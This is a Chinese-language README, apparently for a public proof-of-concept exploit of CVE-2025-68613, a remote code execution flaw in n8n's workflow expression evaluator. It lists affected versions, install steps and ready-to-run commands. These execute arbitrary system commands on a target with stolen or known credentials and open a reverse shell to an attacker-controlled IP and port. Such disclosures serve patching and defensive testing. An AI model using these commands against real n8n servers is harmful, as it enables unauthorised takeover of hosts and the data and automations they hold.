CVE-2025-68613：n8n 工作流表达式远程代码执行漏洞

n8n 工作流自动化平台中一个严重远程代码执行漏洞的概念验证（PoC）利用程序。

描述

该漏洞存在于 n8n 表达式评估系统中。用户提供的表达式未经过适当的沙箱隔离，允许已认证的攻击者在主机系统上执行任意代码。

CVE ID： CVE-2025-68613
漏洞类型： 远程代码执行（RCE）
受影响组件： 表达式评估器

受影响版本

• n8n >= 0.211.0
• n8n < 1.120.4
• n8n < 1.121.1
• n8n < 1.122.0

安装

git clone https://github.com/JohannesLks/CVE-2025-68613-Python-Exploit.git
cd CVE-2025-68613-Python-Exploit
pip install -r requirements.txt

用法

语法

python3 n8n_exploit.py -t <TARGET> -u <USER> -p <PASSWORD> [OPTIONS]

参数

• -t, --target ：目标 URL（例如 http://localhost:5678）
• -u, --username ：n8n 账户邮箱地址
• -p, --password ：n8n 账户密码
• -c, --cmd ：要执行的系统命令
• --reverse-shell ：触发反弹 shell（格式：IP 端口）

示例

检查漏洞 / 执行命令：

python3 n8n_exploit.py -t http://target:5678 -u [email protected] -p "P@ssword123" -c "id"

建立反弹 shell：

python3 n8n_exploit.py -t http://target:5678 -u [email protected] -p "P@ssword123" --reverse-shell 192.168.1.100 4444